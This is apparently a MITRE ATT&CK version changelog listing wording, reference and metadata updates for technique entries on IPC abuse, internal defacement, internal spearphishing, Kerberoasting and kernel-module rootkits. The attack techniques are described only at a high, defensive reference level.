| modified | 2021-10-15 19:48:30.432000+00:00 | 2022-03-11 20:23:23.122000+00:00 |
| description | Adversaries may abuse inter-process communication (IPC) mechanisms for local code or command execution. IPC is typically used by processes to share data, communicate with each other, or synchronize execution. IPC is also commonly used to avoid situations such as deadlocks, which occurs when processes are stuck in a cyclic waiting pattern.
Adversaries may abuse IPC to execute arbitrary code or commands. IPC mechanisms may differ depending on OS, but typically exists in a form accessible through programming languages/libraries or native interfaces such as Windows [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) or [Component Object Model](https://attack.mitre.org/techniques/T1559/001). Higher level execution mediums, such as those of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s, may also leverage underlying IPC mechanisms. Adversaries may also use [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) to facilitate remote IPC execution.(Citation: Fireeye Hunting COM June 2019) | Adversaries may abuse inter-process communication (IPC) mechanisms for local code or command execution. IPC is typically used by processes to share data, communicate with each other, or synchronize execution. IPC is also commonly used to avoid situations such as deadlocks, which occurs when processes are stuck in a cyclic waiting pattern.
Adversaries may abuse IPC to execute arbitrary code or commands. IPC mechanisms may differ depending on OS, but typically exists in a form accessible through programming languages/libraries or native interfaces such as Windows [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) or [Component Object Model](https://attack.mitre.org/techniques/T1559/001). Linux environments support several different IPC mechanisms, two of which being sockets and pipes.(Citation: Linux IPC) Higher level execution mediums, such as those of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s, may also leverage underlying IPC mechanisms. Adversaries may also use [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) to facilitate remote IPC execution.(Citation: Fireeye Hunting COM June 2019) |
| external_references[1]['source_name'] | Fireeye Hunting COM June 2019 | Linux IPC |
| external_references[1]['description'] | Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019. | N/A. (2021, April 1). Inter Process Communication (IPC). Retrieved March 11, 2022. |
| external_references[1]['url'] | https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html | https://www.geeksforgeeks.org/inter-process-communication-ipc/#:~:text=Inter%2Dprocess%20communication%20(IPC),of%20co%2Doperation%20between%20them. |
| x_mitre_data_sources[0] | Module: Module Load | Process: Process Creation |
| x_mitre_data_sources[1] | Process: Process Creation | Module: Module Load |
| x_mitre_version | 1.1 | 1.2 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'Fireeye Hunting COM June 2019', 'description': 'Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019.', 'url': 'https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html'} |
| x_mitre_data_sources | | Process: Process Access |
| x_mitre_platforms | | Linux |
[T1491.001] Defacement: Internal Defacement
Current version: 1.1
Version changed from: 1.0 → 1.1
|
|
|---|
| t | An adversary may deface systems internal to an organization | t | An adversary may deface systems internal to an organization |
| in an attempt to intimidate or mislead users. This may take | | in an attempt to intimidate or mislead users, thus discredit |
| the form of modifications to internal websites, or directly | | ing the integrity of the systems. This may take the form of |
| to user systems with the replacement of the desktop wallpape | | modifications to internal websites, or directly to user syst |
| r.(Citation: Novetta Blockbuster) Disturbing or offensive im | | ems with the replacement of the desktop wallpaper.(Citation: |
| ages may be used as a part of [Internal Defacement](https:// | | Novetta Blockbuster) Disturbing or offensive images may be |
| attack.mitre.org/techniques/T1491/001) in order to cause use | | used as a part of [Internal Defacement](https://attack.mitre |
| r discomfort, or to pressure compliance with accompanying me | | .org/techniques/T1491/001) in order to cause user discomfort |
| ssages. Since internally defacing systems exposes an adversa | | , or to pressure compliance with accompanying messages. Sinc |
| ry's presence, it often takes place after other intrusion go | | e internally defacing systems exposes an adversary's presenc |
| als have been accomplished.(Citation: Novetta Blockbuster De | | e, it often takes place after other intrusion goals have bee |
| structive Malware) | | n accomplished.(Citation: Novetta Blockbuster Destructive Ma |
| | | lware) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-03-29 22:57:04.784000+00:00 | 2022-03-25 19:31:24.482000+00:00 |
| description | An adversary may deface systems internal to an organization in an attempt to intimidate or mislead users. This may take the form of modifications to internal websites, or directly to user systems with the replacement of the desktop wallpaper.(Citation: Novetta Blockbuster) Disturbing or offensive images may be used as a part of [Internal Defacement](https://attack.mitre.org/techniques/T1491/001) in order to cause user discomfort, or to pressure compliance with accompanying messages. Since internally defacing systems exposes an adversary's presence, it often takes place after other intrusion goals have been accomplished.(Citation: Novetta Blockbuster Destructive Malware) | An adversary may deface systems internal to an organization in an attempt to intimidate or mislead users, thus discrediting the integrity of the systems. This may take the form of modifications to internal websites, or directly to user systems with the replacement of the desktop wallpaper.(Citation: Novetta Blockbuster) Disturbing or offensive images may be used as a part of [Internal Defacement](https://attack.mitre.org/techniques/T1491/001) in order to cause user discomfort, or to pressure compliance with accompanying messages. Since internally defacing systems exposes an adversary's presence, it often takes place after other intrusion goals have been accomplished.(Citation: Novetta Blockbuster Destructive Malware) |
| x_mitre_data_sources[0] | File: File Modification | Application Log: Application Log Content |
| x_mitre_data_sources[2] | Application Log: Application Log Content | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[3] | Network Traffic: Network Traffic Content | File: File Modification |
| x_mitre_version | 1.0 | 1.1 |
[T1534] Internal Spearphishing
Current version: 1.2
Version changed from: 1.1 → 1.2
|
|
|---|
| t | Adversaries may use internal spearphishing to gain access to | t | Adversaries may use internal spearphishing to gain access to |
| additional information or exploit other users within the sa | | additional information or exploit other users within the sa |
| me organization after they already have access to accounts o | | me organization after they already have access to accounts o |
| r systems within the environment. Internal spearphishing is | | r systems within the environment. Internal spearphishing is |
| multi-staged attack where an email account is owned either b | | multi-staged campaign where an email account is owned either |
| y controlling the user's device with previously installed ma | | by controlling the user's device with previously installed |
| lware or by compromising the account credentials of the user | | malware or by compromising the account credentials of the us |
| . Adversaries attempt to take advantage of a trusted interna | | er. Adversaries attempt to take advantage of a trusted inter |
| l account to increase the likelihood of tricking the target | | nal account to increase the likelihood of tricking the targe |
| into falling for the phish attempt.(Citation: Trend Micro Wh | | t into falling for the phish attempt.(Citation: Trend Micro |
| en Phishing Starts from the Inside 2017) Adversaries may le | | When Phishing Starts from the Inside 2017) Adversaries may |
| verage [Spearphishing Attachment](https://attack.mitre.org/t | | leverage [Spearphishing Attachment](https://attack.mitre.org |
| echniques/T1566/001) or [Spearphishing Link](https://attack. | | /techniques/T1566/001) or [Spearphishing Link](https://attac |
| mitre.org/techniques/T1566/002) as part of internal spearphi | | k.mitre.org/techniques/T1566/002) as part of internal spearp |
| shing to deliver a payload or redirect to an external site t | | hishing to deliver a payload or redirect to an external site |
| o capture credentials through [Input Capture](https://attack | | to capture credentials through [Input Capture](https://atta |
| .mitre.org/techniques/T1056) on sites that mimic email login | | ck.mitre.org/techniques/T1056) on sites that mimic email log |
| interfaces. There have been notable incidents where intern | | in interfaces. There have been notable incidents where inte |
| al spearphishing has been used. The Eye Pyramid campaign use | | rnal spearphishing has been used. The Eye Pyramid campaign u |
| d phishing emails with malicious attachments for lateral mov | | sed phishing emails with malicious attachments for lateral m |
| ement between victims, compromising nearly 18,000 email acco | | ovement between victims, compromising nearly 18,000 email ac |
| unts in the process.(Citation: Trend Micro When Phishing Sta | | counts in the process.(Citation: Trend Micro When Phishing S |
| rts from the Inside 2017) The Syrian Electronic Army (SEA) c | | tarts from the Inside 2017) The Syrian Electronic Army (SEA) |
| ompromised email accounts at the Financial Times (FT) to ste | | compromised email accounts at the Financial Times (FT) to s |
| al additional account credentials. Once FT learned of the at | | teal additional account credentials. Once FT learned of the |
| tack and began warning employees of the threat, the SEA sent | | campaign and began warning employees of the threat, the SEA |
| phishing emails mimicking the Financial Times IT department | | sent phishing emails mimicking the Financial Times IT depart |
| and were able to compromise even more users.(Citation: THE | | ment and were able to compromise even more users.(Citation: |
| FINANCIAL TIMES LTD 2019.) | | THE FINANCIAL TIMES LTD 2019.) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_is_subtechnique | False | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-04-14 14:32:14.273000+00:00 | 2022-03-08 21:29:30.249000+00:00 |
| description | Adversaries may use internal spearphishing to gain access to additional information or exploit other users within the same organization after they already have access to accounts or systems within the environment. Internal spearphishing is multi-staged attack where an email account is owned either by controlling the user's device with previously installed malware or by compromising the account credentials of the user. Adversaries attempt to take advantage of a trusted internal account to increase the likelihood of tricking the target into falling for the phish attempt.(Citation: Trend Micro When Phishing Starts from the Inside 2017)
Adversaries may leverage [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) or [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002) as part of internal spearphishing to deliver a payload or redirect to an external site to capture credentials through [Input Capture](https://attack.mitre.org/techniques/T1056) on sites that mimic email login interfaces.
There have been notable incidents where internal spearphishing has been used. The Eye Pyramid campaign used phishing emails with malicious attachments for lateral movement between victims, compromising nearly 18,000 email accounts in the process.(Citation: Trend Micro When Phishing Starts from the Inside 2017) The Syrian Electronic Army (SEA) compromised email accounts at the Financial Times (FT) to steal additional account credentials. Once FT learned of the attack and began warning employees of the threat, the SEA sent phishing emails mimicking the Financial Times IT department and were able to compromise even more users.(Citation: THE FINANCIAL TIMES LTD 2019.) | Adversaries may use internal spearphishing to gain access to additional information or exploit other users within the same organization after they already have access to accounts or systems within the environment. Internal spearphishing is multi-staged campaign where an email account is owned either by controlling the user's device with previously installed malware or by compromising the account credentials of the user. Adversaries attempt to take advantage of a trusted internal account to increase the likelihood of tricking the target into falling for the phish attempt.(Citation: Trend Micro When Phishing Starts from the Inside 2017)
Adversaries may leverage [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) or [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002) as part of internal spearphishing to deliver a payload or redirect to an external site to capture credentials through [Input Capture](https://attack.mitre.org/techniques/T1056) on sites that mimic email login interfaces.
There have been notable incidents where internal spearphishing has been used. The Eye Pyramid campaign used phishing emails with malicious attachments for lateral movement between victims, compromising nearly 18,000 email accounts in the process.(Citation: Trend Micro When Phishing Starts from the Inside 2017) The Syrian Electronic Army (SEA) compromised email accounts at the Financial Times (FT) to steal additional account credentials. Once FT learned of the campaign and began warning employees of the threat, the SEA sent phishing emails mimicking the Financial Times IT department and were able to compromise even more users.(Citation: THE FINANCIAL TIMES LTD 2019.) |
| x_mitre_data_sources[0] | Application Log: Application Log Content | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[2] | Network Traffic: Network Traffic Content | Application Log: Application Log Content |
| x_mitre_detection | Network intrusion detection systems and email gateways usually do not scan internal email, but an organization can leverage the journaling-based solution which sends a copy of emails to a security service for offline analysis or incorporate service-integrated solutions using on-premise or API-based integrations to help detect internal spearphishing attacks.(Citation: Trend Micro When Phishing Starts from the Inside 2017) | Network intrusion detection systems and email gateways usually do not scan internal email, but an organization can leverage the journaling-based solution which sends a copy of emails to a security service for offline analysis or incorporate service-integrated solutions using on-premise or API-based integrations to help detect internal spearphishing campaigns.(Citation: Trend Micro When Phishing Starts from the Inside 2017) |
| x_mitre_version | 1.1 | 1.2 |
[T1558.003] Steal or Forge Kerberos Tickets: Kerberoasting
Current version: 1.2
Version changed from: 1.1 → 1.2
|
|
|---|
| t | Adversaries may abuse a valid Kerberos ticket-granting ticke | t | Adversaries may abuse a valid Kerberos ticket-granting ticke |
| t (TGT) or sniff network traffic to obtain a ticket-granting | | t (TGT) or sniff network traffic to obtain a ticket-granting |
| service (TGS) ticket that may be vulnerable to [Brute Force | | service (TGS) ticket that may be vulnerable to [Brute Force |
| ](https://attack.mitre.org/techniques/T1110).(Citation: Empi | | ](https://attack.mitre.org/techniques/T1110).(Citation: Empi |
| re InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking | | re InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking |
| Kerberos Dec 2015) Service principal names (SPNs) are used | | Kerberos Dec 2015) Service principal names (SPNs) are used |
| to uniquely identify each instance of a Windows service. To | | to uniquely identify each instance of a Windows service. To |
| enable authentication, Kerberos requires that SPNs be assoc | | enable authentication, Kerberos requires that SPNs be assoc |
| iated with at least one service logon account (an account sp | | iated with at least one service logon account (an account sp |
| ecifically tasked with running a service(Citation: Microsoft | | ecifically tasked with running a service(Citation: Microsoft |
| Detecting Kerberoasting Feb 2018)).(Citation: Microsoft SPN | | Detecting Kerberoasting Feb 2018)).(Citation: Microsoft SPN |
| )(Citation: Microsoft SetSPN)(Citation: SANS Attacking Kerbe | | )(Citation: Microsoft SetSPN)(Citation: SANS Attacking Kerbe |
| ros Nov 2014)(Citation: Harmj0y Kerberoast Nov 2016) Advers | | ros Nov 2014)(Citation: Harmj0y Kerberoast Nov 2016) Advers |
| aries possessing a valid Kerberos ticket-granting ticket (TG | | aries possessing a valid Kerberos ticket-granting ticket (TG |
| T) may request one or more Kerberos ticket-granting service | | T) may request one or more Kerberos ticket-granting service |
| (TGS) service tickets for any SPN from a domain controller ( | | (TGS) service tickets for any SPN from a domain controller ( |
| DC).(Citation: Empire InvokeKerberoast Oct 2016)(Citation: A | | DC).(Citation: Empire InvokeKerberoast Oct 2016)(Citation: A |
| dSecurity Cracking Kerberos Dec 2015) Portions of these tick | | dSecurity Cracking Kerberos Dec 2015) Portions of these tick |
| ets may be encrypted with the RC4 algorithm, meaning the Ker | | ets may be encrypted with the RC4 algorithm, meaning the Ker |
| beros 5 TGS-REP etype 23 hash of the service account associa | | beros 5 TGS-REP etype 23 hash of the service account associa |
| ted with the SPN is used as the private key and is thus vuln | | ted with the SPN is used as the private key and is thus vuln |
| erable to offline [Brute Force](https://attack.mitre.org/tec | | erable to offline [Brute Force](https://attack.mitre.org/tec |
| hniques/T1110) attacks that may expose plaintext credentials | | hniques/T1110) attacks that may expose plaintext credentials |
| .(Citation: AdSecurity Cracking Kerberos Dec 2015)(Citation: | | .(Citation: AdSecurity Cracking Kerberos Dec 2015)(Citation: |
| Empire InvokeKerberoast Oct 2016) (Citation: Harmj0y Kerber | | Empire InvokeKerberoast Oct 2016) (Citation: Harmj0y Kerber |
| oast Nov 2016) This same attack could be executed using ser | | oast Nov 2016) This same behavior could be executed using s |
| vice tickets captured from network traffic.(Citation: AdSecu | | ervice tickets captured from network traffic.(Citation: AdSe |
| rity Cracking Kerberos Dec 2015) Cracked hashes may enable | | curity Cracking Kerberos Dec 2015) Cracked hashes may enabl |
| [Persistence](https://attack.mitre.org/tactics/TA0003), [Pri | | e [Persistence](https://attack.mitre.org/tactics/TA0003), [P |
| vilege Escalation](https://attack.mitre.org/tactics/TA0004), | | rivilege Escalation](https://attack.mitre.org/tactics/TA0004 |
| and [Lateral Movement](https://attack.mitre.org/tactics/TA0 | | ), and [Lateral Movement](https://attack.mitre.org/tactics/T |
| 008) via access to [Valid Accounts](https://attack.mitre.org | | A0008) via access to [Valid Accounts](https://attack.mitre.o |
| /techniques/T1078).(Citation: SANS Attacking Kerberos Nov 20 | | rg/techniques/T1078).(Citation: SANS Attacking Kerberos Nov |
| 14) | | 2014) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-10-20 19:30:10.687000+00:00 | 2022-03-08 21:52:42.405000+00:00 |
| description | Adversaries may abuse a valid Kerberos ticket-granting ticket (TGT) or sniff network traffic to obtain a ticket-granting service (TGS) ticket that may be vulnerable to [Brute Force](https://attack.mitre.org/techniques/T1110).(Citation: Empire InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking Kerberos Dec 2015)
Service principal names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service(Citation: Microsoft Detecting Kerberoasting Feb 2018)).(Citation: Microsoft SPN)(Citation: Microsoft SetSPN)(Citation: SANS Attacking Kerberos Nov 2014)(Citation: Harmj0y Kerberoast Nov 2016)
Adversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC).(Citation: Empire InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking Kerberos Dec 2015) Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline [Brute Force](https://attack.mitre.org/techniques/T1110) attacks that may expose plaintext credentials.(Citation: AdSecurity Cracking Kerberos Dec 2015)(Citation: Empire InvokeKerberoast Oct 2016) (Citation: Harmj0y Kerberoast Nov 2016)
This same attack could be executed using service tickets captured from network traffic.(Citation: AdSecurity Cracking Kerberos Dec 2015)
Cracked hashes may enable [Persistence](https://attack.mitre.org/tactics/TA0003), [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008) via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: SANS Attacking Kerberos Nov 2014) | Adversaries may abuse a valid Kerberos ticket-granting ticket (TGT) or sniff network traffic to obtain a ticket-granting service (TGS) ticket that may be vulnerable to [Brute Force](https://attack.mitre.org/techniques/T1110).(Citation: Empire InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking Kerberos Dec 2015)
Service principal names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service(Citation: Microsoft Detecting Kerberoasting Feb 2018)).(Citation: Microsoft SPN)(Citation: Microsoft SetSPN)(Citation: SANS Attacking Kerberos Nov 2014)(Citation: Harmj0y Kerberoast Nov 2016)
Adversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC).(Citation: Empire InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking Kerberos Dec 2015) Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline [Brute Force](https://attack.mitre.org/techniques/T1110) attacks that may expose plaintext credentials.(Citation: AdSecurity Cracking Kerberos Dec 2015)(Citation: Empire InvokeKerberoast Oct 2016) (Citation: Harmj0y Kerberoast Nov 2016)
This same behavior could be executed using service tickets captured from network traffic.(Citation: AdSecurity Cracking Kerberos Dec 2015)
Cracked hashes may enable [Persistence](https://attack.mitre.org/tactics/TA0003), [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008) via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: SANS Attacking Kerberos Nov 2014) |
| x_mitre_version | 1.1 | 1.2 |
[T1547.006] Boot or Logon Autostart Execution: Kernel Modules and Extensions
Current version: 1.3
Version changed from: 1.2 → 1.3
|
|
|---|
| t | Adversaries may modify the kernel to automatically execute p | t | Adversaries may modify the kernel to automatically execute p |
| rograms on system boot. Loadable Kernel Modules (LKMs) are p | | rograms on system boot. Loadable Kernel Modules (LKMs) are p |
| ieces of code that can be loaded and unloaded into the kerne | | ieces of code that can be loaded and unloaded into the kerne |
| l upon demand. They extend the functionality of the kernel w | | l upon demand. They extend the functionality of the kernel w |
| ithout the need to reboot the system. For example, one type | | ithout the need to reboot the system. For example, one type |
| of module is the device driver, which allows the kernel to a | | of module is the device driver, which allows the kernel to a |
| ccess hardware connected to the system. (Citation: Linux Ker | | ccess hardware connected to the system.(Citation: Linux Kern |
| nel Programming) When used maliciously, LKMs can be a type | | el Programming) When used maliciously, LKMs can be a type |
| of kernel-mode [Rootkit](https://attack.mitre.org/technique | | of kernel-mode [Rootkit](https://attack.mitre.org/techniques |
| s/T1014) that run with the highest operating system privileg | | /T1014) that run with the highest operating system privilege |
| e (Ring 0). (Citation: Linux Kernel Module Programming Guide | | (Ring 0).(Citation: Linux Kernel Module Programming Guide) |
| ) Common features of LKM based rootkits include: hiding itse | | Common features of LKM based rootkits include: hiding itself |
| lf, selective hiding of files, processes and network activit | | , selective hiding of files, processes and network activity, |
| y, as well as log tampering, providing authenticated backdoo | | as well as log tampering, providing authenticated backdoors |
| rs and enabling root access to non-privileged users. (Citati | | , and enabling root access to non-privileged users.(Citation |
| on: iDefense Rootkit Overview) Kernel extensions, also call | | : iDefense Rootkit Overview) Kernel extensions, also called |
| ed kext, are used for macOS to load functionality onto a sys | | kext, are used in macOS to load functionality onto a system |
| tem similar to LKMs for Linux. They are loaded and unloaded | | similar to LKMs for Linux. Since the kernel is responsible |
| through <code>kextload</code> and <code>kextunload</code> co | | for enforcing security and the kernel extensions run as apar |
| mmands. Since macOS Catalina 10.15, kernel extensions have b | | t of the kernel, kexts are not governed by macOS security po |
| een deprecated on macOS systems.(Citation: Apple Kernel Exte | | licies. Kexts are loaded and unloaded through <code>kextload |
| nsion Deprecation) Adversaries can use LKMs and kexts to co | | </code> and <code>kextunload</code> commands. Kexts need to |
| vertly persist on a system and elevate privileges. Examples | | be signed with a developer ID that is granted privileges by |
| have been found in the wild and there are some open source p | | Apple allowing it to sign Kernel extensions. Developers with |
| rojects. (Citation: Volatility Phalanx2) (Citation: CrowdStr | | out these privileges may still sign kexts but they will not |
| ike Linux Rootkit) (Citation: GitHub Reptile) (Citation: Git | | load unless SIP is disabled. If SIP is enabled, the kext sig |
| Hub Diamorphine)(Citation: RSAC 2015 San Francisco Patrick W | | nature is verified before being added to the AuxKC.(Citation |
| ardle) (Citation: Synack Secure Kernel Extension Broken)(Cit | | : System and kernel extensions in macOS) Since macOS Catali |
| ation: Securelist Ventir) (Citation: Trend Micro Skidmap) | | na 10.15, kernel extensions have been deprecated in favor of |
| | | System Extensions. However, kexts are still allowed as "Leg |
| | | acy System Extensions" since there is no System Extension fo |
| | | r Kernel Programming Interfaces.(Citation: Apple Kernel Exte |
| | | nsion Deprecation) Adversaries can use LKMs and kexts to co |
| | | nduct [Persistence](https://attack.mitre.org/tactics/TA0003) |
| | | and/or [Privilege Escalation](https://attack.mitre.org/tact |
| | | ics/TA0004) on a system. Examples have been found in the wil |
| | | d, and there are some relevant open source projects as well. |
| | | (Citation: Volatility Phalanx2)(Citation: CrowdStrike Linux |
| | | Rootkit)(Citation: GitHub Reptile)(Citation: GitHub Diamorph |
| | | ine)(Citation: RSAC 2015 San Francisco Patrick Wardle)(Citat |
| | | ion: Synack Secure Kernel Extension Broken)(Citation: Secure |
| | | list Ventir)(Citation: Trend Micro Skidmap) |
New Mitigations:
- M1018: User Account Management
New Detections:
- DS0009: Process (Process Creation)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-19 04:03:46.357000+00:00 | 2022-04-20 18:53:39.406000+00:00 |
| description | Adversaries may modify the kernel to automatically execute programs on system boot. Loadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system. (Citation: Linux Kernel Programming)
When used maliciously, LKMs can be a type of kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that run with the highest operating system privilege (Ring 0). (Citation: Linux Kernel Module Programming Guide) Common features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors and enabling root access to non-privileged users. (Citation: iDefense Rootkit Overview)
Kernel extensions, also called kext, are used for macOS to load functionality onto a system similar to LKMs for Linux. They are loaded and unloaded through kextload and kextunload commands. Since macOS Catalina 10.15, kernel extensions have been deprecated on macOS systems.(Citation: Apple Kernel Extension Deprecation)
Adversaries can use LKMs and kexts to covertly persist on a system and elevate privileges. Examples have been found in the wild and there are some open source projects. (Citation: Volatility Phalanx2) (Citation: CrowdStrike Linux Rootkit) (Citation: GitHub Reptile) (Citation: GitHub Diamorphine)(Citation: RSAC 2015 San Francisco Patrick Wardle) (Citation: Synack Secure Kernel Extension Broken)(Citation: Securelist Ventir) (Citation: Trend Micro Skidmap) | Adversaries may modify the kernel to automatically execute programs on system boot. Loadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system.(Citation: Linux Kernel Programming)
When used maliciously, LKMs can be a type of kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that run with the highest operating system privilege (Ring 0).(Citation: Linux Kernel Module Programming Guide) Common features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors, and enabling root access to non-privileged users.(Citation: iDefense Rootkit Overview)
Kernel extensions, also called kext, are used in macOS to load functionality onto a system similar to LKMs for Linux. Since the kernel is responsible for enforcing security and the kernel extensions run as apart of the kernel, kexts are not governed by macOS security policies. Kexts are loaded and unloaded through kextload and kextunload commands. Kexts need to be signed with a developer ID that is granted privileges by Apple allowing it to sign Kernel extensions. Developers without these privileges may still sign kexts but they will not load unless SIP is disabled. If SIP is enabled, the kext signature is verified before being added to the AuxKC.(Citation: System and kernel extensions in macOS)
Since macOS Catalina 10.15, kernel extensions have been deprecated in favor of System Extensions. However, kexts are still allowed as "Legacy System Extensions" since there is no System Extension for Kernel Programming Interfaces.(Citation: Apple Kernel Extension Deprecation)
Adversaries can use LKMs and kexts to conduct [Persistence](https://attack.mitre.org/tactics/TA0003) and/or [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) on a system. Examples have been found in the wild, and there are some relevant open source projects as well.(Citation: Volatility Phalanx2)(Citation: CrowdStrike Linux Rootkit)(Citation: GitHub Reptile)(Citation: GitHub Diamorphine)(Citation: RSAC 2015 San Francisco Patrick Wardle)(Citation: Synack Secure Kernel Extension Broken)(Citation: Securelist Ventir)(Citation: Trend Micro Skidmap) |
| external_references[1]['source_name'] | Linux Kernel Programming | Apple Developer Configuration Profile |
| external_references[1]['description'] | Pomerantz, O., Salzman, P.. (2003, April 4). The Linux Kernel Module Programming Guide. Retrieved April 6, 2018. | Apple. (2019, May 3). Configuration Profile Reference. Retrieved September 23, 2021. |
| external_references[1]['url'] | https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf | https://developer.apple.com/business/documentation/Configuration-Profile-Reference.pdf |
| external_references[2]['source_name'] | Linux Kernel Module Programming Guide | Apple Kernel Extension Deprecation |
| external_references[2]['description'] | Pomerantz, O., Salzman, P. (2003, April 4). Modules vs Programs. Retrieved April 6, 2018. | Apple. (n.d.). Deprecated Kernel Extensions and System Extension Alternatives. Retrieved November 4, 2020. |
| external_references[2]['url'] | http://www.tldp.org/LDP/lkmpg/2.4/html/x437.html | https://developer.apple.com/support/kernel-extensions/ |
| external_references[3]['source_name'] | iDefense Rootkit Overview | System and kernel extensions in macOS |
| external_references[3]['description'] | Chuvakin, A. (2003, February). An Overview of Rootkits. Retrieved April 6, 2018. | Apple. (n.d.). System and kernel extensions in macOS. Retrieved March 31, 2022. |
| external_references[3]['url'] | http://www.megasecurity.org/papers/Rootkits.pdf | https://support.apple.com/guide/deployment/system-and-kernel-extensions-in-macos-depa5fb8376f/web |
| external_references[4]['source_name'] | Apple Kernel Extension Deprecation | GitHub Reptile |
| external_references[4]['description'] | Apple. (n.d.). Deprecated Kernel Extensions and System Extension Alternatives. Retrieved November 4, 2020. | Augusto, I. (2018, March 8). Reptile - LMK Linux rootkit. Retrieved April 9, 2018. |
| external_references[4]['url'] | https://developer.apple.com/support/kernel-extensions/ | https://github.com/f0rb1dd3n/Reptile |
| external_references[6]['source_name'] | CrowdStrike Linux Rootkit | iDefense Rootkit Overview |
| external_references[6]['description'] | Kurtz, G. (2012, November 19). HTTP iframe Injecting Linux Rootkit. Retrieved December 21, 2017. | Chuvakin, A. (2003, February). An Overview of Rootkits. Retrieved April 6, 2018. |
| external_references[6]['url'] | https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/ | http://www.megasecurity.org/papers/Rootkits.pdf |
| external_references[7]['source_name'] | GitHub Reptile | Linux Loadable Kernel Module Insert and Remove LKMs |
| external_references[7]['description'] | Augusto, I. (2018, March 8). Reptile - LMK Linux rootkit. Retrieved April 9, 2018. | Henderson, B. (2006, September 24). How To Insert And Remove LKMs. Retrieved April 9, 2018. |
| external_references[7]['url'] | https://github.com/f0rb1dd3n/Reptile | http://tldp.org/HOWTO/Module-HOWTO/x197.html |
| external_references[8]['source_name'] | GitHub Diamorphine | CrowdStrike Linux Rootkit |
| external_references[8]['description'] | Mello, V. (2018, March 8). Diamorphine - LMK rootkit for Linux Kernels 2.6.x/3.x/4.x (x86 and x86_64). Retrieved April 9, 2018. | Kurtz, G. (2012, November 19). HTTP iframe Injecting Linux Rootkit. Retrieved December 21, 2017. |
